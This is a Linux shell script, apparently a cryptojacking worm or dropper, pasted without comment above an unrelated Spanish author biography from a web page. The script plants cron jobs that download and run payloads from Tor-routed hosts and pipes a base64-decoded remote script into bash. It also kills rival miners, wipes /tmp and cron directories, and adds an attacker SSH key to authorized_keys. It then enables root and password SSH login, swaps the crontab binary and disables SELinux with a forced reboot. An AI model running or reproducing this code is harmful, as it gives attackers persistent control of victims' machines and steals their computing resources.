echo "${rand}" > "$(pwd)/.${rand}" 2>/dev/null && LPATH="$(pwd)/.cache/"; rm -f "$(pwd)/.${rand}" >/dev/null 2>&1
echo "${rand}" > "/tmp/.${rand}" 2>/dev/null && LPATH="/tmp/.cache/"; rm -f "/tmp/.${rand}" >/dev/null 2>&1
echo "${rand}" > "/usr/local/bin/.${rand}" 2>/dev/null && LPATH="/usr/local/bin/.cache/"; rm -f "/usr/local/bin/.${rand}" >/dev/null 2>&1
echo "${rand}" > "${HOME}/.${rand}" 2>/dev/null && LPATH="${HOME}/.cache/"; rm -f "${HOME}/.${rand}" >/dev/null 2>&1
mkdir -p ${LPATH} >/dev/null 2>&1
${sudo} chattr -i ${LPATH} >/dev/null 2>&1; chmod 755 ${LPATH} >/dev/null 2>&1; ${sudo} chattr +a ${LPATH} >/dev/null 2>&1
C1="*/9 * * * * ${CHKCURL} ("'${curl}'" ${COPTS} ${RHOST}${TOR1}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR2}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR3}${RPATH1} -o ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR1}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR2}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR3}${RPATH1} -O ${LPATH}.ntp) && chmod +x ${LPATH}.ntp && $(command -v sh) ${LPATH}.ntp"
C2="*/11 * * * * root ${CHKCURL} ("'${curl}'" ${COPTS} ${RHOST}${TOR1}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR2}${RPATH1} -o ${LPATH}.ntp||"'${curl}'" ${COPTS} ${RHOST}${TOR3}${RPATH1} -o ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR1}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR2}${RPATH1} -O ${LPATH}.ntp||"'${wget}'" ${WOPTS} ${RHOST}${TOR3}${RPATH1} -O ${LPATH}.ntp) && chmod +x ${LPATH}.ntp && $(command -v sh) ${LPATH}.ntp"
skey="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Sdr0tIIL8yPhKTLzVMnRKj1zzGqtR4tKpM2bfBEx+AHyvBL8jDZDJ6fuVwEB+aZ8bl/pA5qhFWRRWhONLnLN9RWFx/880msXITwOXjCT3Qa6VpAFPPMazJpbppIg+LTkbOEjdDHvdZ8RhEt7tTXc2DoTDcs73EeepZbJmDFP8TCY7hwgLi0XcG8YHkDFoKFUhvSHPkzAsQd9hyOWaI1taLX2VZHAk8rOaYqaRG3URWH3hZvk8Hcgggm2q/IQQa9VLlX4cSM4SifM/ZNbLYAJhH1x3ZgscliZVmjB55wZWRL5oOZztOKJT2oczUuhDHM1qoUJjnxopqtZ5DrA76WH user@localhost"
if [ "$(whoami)" != "root" ]; then sshdir="${HOME}/.ssh"; else sshdir='/root/.ssh'; fi
${sudo} rm -f /tmp/* >/dev/null 2>&1
${sudo} rm -f /tmp/.* >/dev/null 2>&1
${sudo} ps ax|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|grep -v ".ntp"|grep -i "nicehash\|linuxs\|linuxl\|Linux\|crawler.weibo\|44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init"|uniq| while read pid _; do if [ ${pid} -gt 301 ] && [ "$pid" != "$$" ]; then ${sudo} kill -9 "${pid}" >/dev/null 2>&1; ${sudo} kill -TERM -"${pid}" >/dev/null 2>&1; fi; done
${sudo} ps ax|grep -v grep|grep -v defunct|grep -v "bash"|grep -v "ssh"|grep -v ".ntp"|grep -i "kworkerds\|56416\|xmr\|xig\|ddgs\|minerd\|hashvault\|geqn\|.kthreadd\|httpdz\|kworker\|config.json\|gwjyhs.com\|pastebin.com\|sobot.com\|kerbero"|uniq| while read pid _; do if [ ${pid} -gt 301 ] && [ "$pid" != "$$" ]; then ${sudo} kill -9 "${pid}" >/dev/null 2>&1; ${sudo} kill -TERM -"${pid}" >/dev/null 2>&1; fi; done
hload=$(${sudo} ps aux|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|grep -vi 'java '|grep -vi 'jenkins'|awk '{if($3>=54.0) print $11}'|head -n 1)
[ "${hload}" != "" ] && { ${sudo} ps ax|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|grep "xmr\|${hload}"|while read pid _; do if [ ${pid} -gt 301 ] && [ "$pid" != "$$" ]; then ${sudo} kill -9 "${pid}" >/dev/null 2>&1; fi; done; }
#${sudo} pkill sleep >/dev/null 2>&1
#loop=$(ps -eo ppid,cmd|grep -v grep|grep -v defunct|grep -vi ' sleep 30'|grep -i ' sleep'|awk '{print $1}'|uniq)
#if [ "${loop}" != "" ]; then for p in ${loop}; do if [ $p -gt 301 ] && [ $p -ne $$ ] && [ $p -ne $PPID ]; then $sudo kill -9 $p; $sudo pkill -P $p; fi; done; fi
hload2=$(${sudo} ps aux|grep -v grep|grep -v defunct|grep -v python|grep -v "${LBIN8}"|awk '{if($3>=0.0) print $2}'|uniq)
if [ "${hload2}" != "" ]; then
    for p in ${hload2}; do
        xm=''
        if [ $p -gt 301 ]; then
            if [ -f /proc/${p}/exe ]; then
                xmf="$(readlink /proc/${p}/cwd 2>/dev/null)/$(cat /proc/${p}/comm 2>/dev/null)"
                xm=$(grep -i "xmr\|cryptonight\|hashrate" /proc/${p}/exe 2>/dev/null)
            elif [ -f /proc/${p}/comm ]; then
                xmf="$(readlink /proc/${p}/cwd 2>/dev/null)/$(cat /proc/${p}/comm 2>/dev/null)"
                xm=$(grep -i "xmr\|cryptonight\|hashrate" ${xmf} 2>/dev/null)
            fi
            if [ -n "${xm}" ]; then ${sudo} kill -9 ${p} >/dev/null 2>&1; ${sudo} chattr -i -a "${xmf}" >/dev/null 2>&1; ${sudo} rm -rf "${xmf}" >/dev/null 2>&1; fi
        fi
    done
fi
others=$(${sudo} ps aux|grep -v grep|grep -v defunct|grep -v "${LBIN8}"|awk '{if($3>=0.0) print $11}')
if [ "${others}" != "" ]; then
    for o in ${others}; do
        okill=0
        if [ -f "${o}" ]; then
            if grep -qi 'ddgs' "${o}" 2>/dev/null && grep -qi 'slave' "${o}" 2>/dev/null; then okill=1; fi
            if grep -qi 'kerberods' "${o}" 2>/dev/null || grep -qi 'khugepageds' "${o}" 2>/dev/null; then okill=1; fi
            if [ ${okill} -eq 1 ]; then
                ${sudo} ps ax|grep -v grep|grep -v defunct|grep "${o}"|while read pid _; do ${sudo} kill -9 "$pid" >/dev/null 2>&1; done
                ${sudo} chattr -i -a "${o}" >/dev/null 2>&1; rm -rf "${o}" >/dev/null 2>&1
            fi
        fi
    done
fi
net=$(${curl} -fsSLk --max-time 6 ipinfo.io/ip)
if echo "${net}"|grep -q 'Could not resolve proxy'; then
    unset http_proxy; unset HTTP_PROXY; unset https_proxy; unset HTTPS_PROXY
    http_proxy=""; HTTP_PROXY=""; https_proxy=""; HTTPS_PROXY=""
fi
if [ ${sudoer} -eq 1 ]; then
    if [ -f /etc/ld.so.preload ]; then
        if [ $(which chattr|wc -l) -ne 0 ]; then ${sudo} chattr -i /etc/ld.so.preload >/dev/null 2>&1; fi
        ${sudo} ln -sf /etc/ld.so.preload /tmp/.ld.so >/dev/null 2>&1
        >/tmp/.ld.so >/dev/null 2>&1
        ${sudo} rm -rf /etc/ld.so.preload* >/dev/null 2>&1
    fi
    #${sudo} find / -name ld.so.preload* -exec ${sudo} rm -rf {} \;
    if [ -d /etc/systemd/system/ ]; then ${sudo} rm -rf /etc/systemd/system/cloud* >/dev/null 2>&1; fi
    [ $(${sudo} cat /etc/hosts|grep -i "onion."|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/.onion.$/d' /etc/hosts >/dev/null 2>&1; }
    [ $(${sudo} cat /etc/hosts|grep -i "tor2web."|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/.tor2web.$/d' /etc/hosts >/dev/null 2>&1; }
    [ $(${sudo} cat /etc/hosts|grep -i "timesync.su"|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/timesync.su$/d' /etc/hosts >/dev/null 2>&1; }
    [ $(${sudo} cat /etc/hosts|grep -i "busybox"|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/busybox$/d' /etc/hosts >/dev/null 2>&1; }
    [ $(${sudo} cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ] && { ${sudo} echo '127.0.0.1 localhost' > /etc/hosts >/dev/null 2>&1; }
    if [ -f /usr/bin/yum ]; then
        if [ -f /usr/bin/systemctl ]; then
            crstart="systemctl restart crond.service >/dev/null 2>&1"
            crstop="systemctl stop crond.service >/dev/null 2>&1"
        else
            crstart="/etc/init.d/crond restart >/dev/null 2>&1"
            crstop="/etc/init.d/crond stop >/dev/null 2>&1"
        fi
    elif [ -f /usr/bin/apt-get ]; then
        crstart="service cron restart >/dev/null 2>&1"
        crstop="service cron stop >/dev/null 2>&1"
    elif [ -f /usr/bin/pacman ]; then
        crstart="/etc/rc.d/cronie restart >/dev/null 2>&1"
        crstop="/etc/rc.d/cronie stop >/dev/null 2>&1"
    elif [ -f /sbin/apk ]; then
        crstart="/etc/init.d/crond restart >/dev/null 2>&1"
        crstop="/etc/init.d/crond stop >/dev/null 2>&1"
    fi
    if [ ! -f "${LPATH}.sysud" ] || [ $(bash --version 2>/dev/null|wc -l) -eq 0 ] || [ $(wget --version 2>/dev/null|wc -l) -eq 0 ]; then
        if [ -f /usr/bin/yum ]; then
            yum install -y -q -e 0 openssh-server iptables bash curl wget zip unzip python2 net-tools e2fsprogs vixie-cron cronie >/dev/null 2>&1
            yum reinstall -y -q -e 0 curl wget unzip bash net-tools vixie-cron cronie >/dev/null 2>&1
            chkconfig sshd on >/dev/null 2>&1
            chkconfig crond on >/dev/null 2>&1;
            if [ -f /usr/bin/systemctl ]; then
                systemctl start sshd.service >/dev/null 2>&1
            else
                /etc/init.d/sshd start >/dev/null 2>&1
            fi
        elif [ -f /usr/bin/apt-get ]; then
            rs=$(yes | ${sudo} apt-get update >/dev/null 2>&1)
            if echo "${rs}"|grep -q 'dpkg was interrupted'; then y | ${sudo} dpkg --configure -a; fi
            DEBIAN_FRONTEND=noninteractive ${sudo} apt-get --yes --force-yes install openssh-server iptables bash cron curl wget zip unzip python python-minimal vim e2fsprogs net-tools >/dev/null 2>&1
            DEBIAN_FRONTEND=noninteractive ${sudo} apt-get --yes --force-yes install --reinstall curl wget unzip bash net-tools cron
            ${sudo} systemctl enable ssh
            ${sudo} systemctl enable cron
            ${sudo} /etc/init.d/ssh restart >/dev/null 2>&1
        elif [ -f /usr/bin/pacman ]; then
            pacman -Syy >/dev/null 2>&1
            pacman -S --noconfirm base-devel openssh iptables bash cronie curl wget zip unzip python2 vim e2fsprogs net-tools >/dev/null 2>&1
            systemctl enable --now cronie.service >/dev/null 2>&1
            systemctl enable --now sshd.service >/dev/null 2>&1
            /etc/rc.d/sshd restart >/dev/null 2>&1
        elif [ -f /sbin/apk ]; then
            #apk --no-cache -f upgrade >/dev/null 2>&1
            apk --no-cache -f add curl wget unzip bash busybox openssh iptables python vim e2fsprogs e2fsprogs-extra net-tools openrc >/dev/null 2>&1
            apk del openssl-dev net-tools >/dev/null 2>&1; apk del libuv-dev >/dev/null 2>&1;
            apk add --no-cache openssl-dev libuv-dev net-tools --repository http://dl-cdn.alpinelinux.org/alpine/v3.9/main >/dev/null 2>&1
            rc-update add sshd >/dev/null 2>&1
            /etc/init.d/sshd start >/dev/null 2>&1
            if [ -f /etc/init.d/crond ]; then rc-update add crond >/dev/null 2>&1; /etc/init.d/crond restart >/dev/null 2>&1; else /usr/sbin/crond -c /etc/crontabs >/dev/null 2>&1; fi
        fi
    fi
    ${sudo} chattr -i -a /var/spool/cron >/dev/null 2>&1; ${sudo} chattr -i -a -R /var/spool/cron/ >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.d >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.d/ >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a -R /var/spool/cron/crontabs/ >/dev/null 2>&1
    ${sudo} rm -rf /var/spool/cron/crontabs/* >/dev/null 2>&1; ${sudo} rm -rf /var/spool/cron/crontabs/.* >/dev/null 2>&1; ${sudo} rm -f /var/spool/cron/* >/dev/null 2>&1; ${sudo} rm -f /var/spool/cron/.* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.d/* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.d/.* >/dev/null 2>&1;
    ${sudo} chattr -i -a /etc/cron.hourly >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.hourly/ >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.daily >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.daily/ >/dev/null 2>&1
    ${sudo} rm -rf /etc/cron.hourly/* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.hourly/.* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.daily/* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.daily/.* >/dev/null 2>&1;
    ${sudo} chattr -a -i /tmp >/dev/null 2>&1; ${sudo} rm -rf /tmp/* >/dev/null 2>&1; ${sudo} rm -rf /tmp/.* >/dev/null 2>&1
    ${sudo} chattr -a -i /etc/crontab >/dev/null 2>&1; ${sudo} chattr -i /var/spool/cron/root >/dev/null 2>&1; ${sudo} chattr -i /var/spool/cron/crontabs/root >/dev/null 2>&1
    if [ -f /sbin/apk ]; then
        ${sudo} mkdir -p /etc/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a /etc/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/crontabs/* >/dev/null 2>&1
        ${sudo} rm -rf /etc/crontabs/* >/dev/null 2>&1; ${sudo} echo "${C1}" > /etc/crontabs/root >/dev/null 2>&1 && ${sudo} echo "${C2}" >> /etc/crontabs/root >/dev/null 2>&1 && ${sudo} echo '' >> /etc/crontabs/root >/dev/null 2>&1 && ${sudo} crontab /etc/crontabs/root
    elif [ -f /usr/bin/apt-get ]; then
        ${sudo} mkdir -p /var/spool/cron/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/crontabs/root >/dev/null 2>&1
        rs=$(${sudo} echo "${C1}" > /var/spool/cron/crontabs/root 2>&1)
        if [ -z ${rs} ]; then ${sudo} echo '' >> /var/spool/cron/crontabs/root && ${sudo} crontab /var/spool/cron/crontabs/root; fi
    else
        ${sudo} mkdir -p /var/spool/cron >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/root >/dev/null 2>&1
        rs=$(${sudo} echo "${C1}" > /var/spool/cron/root 2>&1)
        if [ -z ${rs} ]; then ${sudo} echo '' >> /var/spool/cron/root && ${sudo} crontab /var/spool/cron/root; fi
    fi
    ${sudo} chattr -i -a /etc/crontab >/dev/null 2>&1; rs=$(${sudo} echo "${C2}" > /etc/crontab 2>&1)
    if [ -z "${rs}" ]; then ${sudo} echo '' >> /etc/crontab && ${sudo} crontab /etc/crontab; fi
    ${sudo} mkdir -p /etc/cron.d >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.d/root >/dev/null 2>&1
    rs=$(${sudo} echo "${C2}" > /etc/cron.d/root 2>&1 && ${sudo} echo '' >> /etc/cron.d/root 2>&1)
    if [ $(crontab -l 2>/dev/null|grep -i "${RHOST}"|wc -l) -lt 1 ]; then
        (${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_RM -o ${LPATH}.rm||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_RM -O ${LPATH}.rm) && chmod +x ${LPATH}.rm
        (${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CROND -o ${LPATH}.cd||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CROND -O ${LPATH}.cd) && chmod +x ${LPATH}.cd
        (${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CRONTAB -o ${LPATH}.ct||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CRONTAB -O ${LPATH}.ct) && chmod +x ${LPATH}.ct
        if [ -f ${LPATH}.rm ] && [ -f ${LPATH}.ct ]; then
            ${sudo} "${crstop}"
            cd=$(which crond)
            ct=$(which crontab)
            #if [ -n "${cd}" ]; then ${sudo} ${LPATH}.rm ${cd}; ${sudo} cp ${LPATH}.cd ${cd}; fi
            if [ -n "${ct}" ]; then ${sudo} ${LPATH}.rm ${ct}; ${sudo} cp ${LPATH}.ct ${ct}; fi
            ${sudo} "${crstart}"
        fi
    fi
    ${sudo} mkdir -p "${sshdir}" >/dev/null 2>&1
    if [ ! -f ${sshdir}/authorized_keys ]; then ${sudo} touch ${sshdir}/authorized_keys >/dev/null 2>&1; fi
    ${sudo} chattr -i -a ${LPATH} >/dev/null 2>&1; ${sudo} chattr -i -a "${sshdir}" >/dev/null 2>&1; ${sudo} chattr -i -a -R "${sshdir}/" >/dev/null 2>&1; ${sudo} chattr -i -a ${sshdir}/authorized_keys >/dev/null 2>&1
    if [ -n "$(grep -F redis ${sshdir}/authorized_keys)" ] || [ $(wc -l < ${sshdir}/authorized_keys) -gt 98 ]; then ${sudo} echo "${skey}" > ${sshdir}/authorized_keys; fi
    if test "$(${sudo} grep "^${skey}" ${sshdir}/authorized_keys)" != "${skey}"; then  ${sudo} echo "${skey}" >> ${sshdir}/authorized_keys; fi
    ${sudo} chmod 0700 ${sshdir} >/dev/null 2>&1; ${sudo} chmod 600 ${sshdir}/authorized_keys >/dev/null 2>&1; ${sudo} chattr +i ${sshdir}/authorized_keys >/dev/null 2>&1; ${sudo} rm -rf ${sshdir}/authorized_keys* >/dev/null 2>&1
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PermitRootLogin')" != "PermitRootLogin yes" ] && { ${sudo} echo PermitRootLogin yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^RSAAuthentication')" != "RSAAuthentication yes" ] && { ${sudo} echo RSAAuthentication yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PubkeyAuthentication')" != "PubkeyAuthentication yes" ] && { ${sudo} echo PubkeyAuthentication yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^UsePAM')" != "UsePAM yes" ] && { ${sudo} echo UsePAM yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PasswordAuthentication yes')" != "PasswordAuthentication yes" ] && { ${sudo} echo PasswordAuthentication yes >> /etc/ssh/sshd_config; }
    touch "${LPATH}.sysud"
else
    if [ $(which crontab|wc -l) -ne 0 ]; then
        crontab -r >/dev/null 2>&1
        (crontab -l >/dev/null 2>&1; echo "${C1}") | crontab -
    fi
fi
rm -rf ./main* >/dev/null 2>&1
rm -rf ./*.ico* >/dev/null 2>&1
rm -rf ./r64* >/dev/null 2>&1
rm -rf ./r32* >/dev/null 2>&1
[ $(echo "$0"|grep -i ".cache\|bin"|wc -l) -eq 0 ] && [ "$1" != "" ] && { rm -f "$0" >/dev/null 2>&1; }
echo -e '\n'
(${curl} ${COPTS} ${RHOST}${TOR1}src/main||${curl} ${COPTS} ${RHOST}${TOR2}src/main||${curl} ${COPTS} ${RHOST}${TOR3}src/main||${wget} ${WOPTS} ${RHOST}${TOR1}src/main||${wget} ${WOPTS} ${RHOST}${TOR2}src/main||${wget} ${WOPTS} ${RHOST}${TOR3}src/main)|base64 -d |${sudo} $(command -v bash) &
if [ ${sudoer} -eq 1 ]; then
    if echo "$(${sudo} cat /etc/selinux/config 2>/dev/null|grep "SELINUX="|tail -n 1)"|grep -q 'enforcing'; then
        ${sudo} sed -i "s:SELINUX=enforcing:SELINUX=disabled:" /etc/selinux/config || { echo "SELinux could not be disabled. Exiting."; exit; }
        ${sudo} shutdown -r now >/dev/null 2>&1
        ${sudo} reboot -f >/dev/null 2>&1
    fi
    if echo "$(sestatus -v  2>/dev/null| head -n 1)"|grep -q 'enabled'; then ${sudo} shutdown -r now >/dev/null 2>&1; ${sudo} reboot -f >/dev/null 2>&1; fi
  
Sobre el Autor
Adesh Johnson
Author: Adesh Johnson
Soy muy creyente en Dios. Ésto no me ha impedido un gran interés por la ciencia y la tecnología, y antes bien Dios me ha servido como guía e inspiración. Soy colombiano y tengo un grado en ingeniería. Busco ser no sólo espectador sino también creador en lo referente a la industria del internet. Específicamente, trabajo en el tema de telecomunicaciones bajo Protocolo de Internet IP. Me gusta la optimización de recursos y me considero perfeccionista. También me gusta el cine reflexivo.

ImprimirCorreo electrónico